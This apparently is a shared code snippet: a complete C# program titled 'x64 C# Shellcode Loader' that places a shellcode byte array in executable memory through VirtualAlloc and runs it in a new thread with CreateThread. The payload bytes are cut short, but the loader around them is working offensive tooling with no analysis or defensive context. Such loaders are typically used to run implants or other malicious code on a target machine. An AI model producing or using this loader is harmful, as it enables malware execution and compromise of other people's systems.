x64 C# Shellcode Loader
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//Thanks @Arno0x: https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs | |
using System; | |
using System.Runtime.InteropServices; | |
namespace ShellcodeLoader | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
byte[] x64shellcode = new byte[294] { | |
0xfc,0x48, ... }; | |
IntPtr funcAddr = VirtualAlloc( | |
IntPtr.Zero, | |
(ulong)x64shellcode.Length, | |
(uint)StateEnum.MEM_COMMIT, | |
(uint)Protection.PAGE_EXECUTE_READWRITE); | |
Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length); | |
IntPtr hThread = IntPtr.Zero; | |
uint threadId = 0; | |
IntPtr pinfo = IntPtr.Zero; | |
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); | |
WaitForSingleObject(hThread, 0xFFFFFFFF); | |
return; | |
} | |
#region pinvokes | |
[DllImport("kernel32.dll")] | |
private static extern IntPtr VirtualAlloc( | |
IntPtr lpStartAddr, | |
ulong size, | |
uint flAllocationType, | |
uint flProtect); | |
[DllImport("kernel32.dll")] | |
private static extern IntPtr CreateThread( | |
uint lpThreadAttributes, | |
uint dwStackSize, | |
IntPtr lpStartAddress, | |
IntPtr param, | |
uint dwCreationFlags, | |
ref uint lpThreadId); | |
[DllImport("kernel32.dll")] | |
private static extern uint WaitForSingleObject( | |
IntPtr hHandle, | |
uint dwMilliseconds); | |
public enum StateEnum | |
{ | |
MEM_COMMIT = 0x1000, | |
MEM_RESERVE = 0x2000, | |
MEM_FREE = 0x10000 | |
} | |
public enum Protection | |
{ | |
PAGE_READONLY = 0x02, | |
PAGE_READWRITE = 0x04, | |
PAGE_EXECUTE = 0x10, | |
PAGE_EXECUTE_READ = 0x20, | |
PAGE_EXECUTE_READWRITE = 0x40, | |
} | |
#endregion | |
} | |
} |
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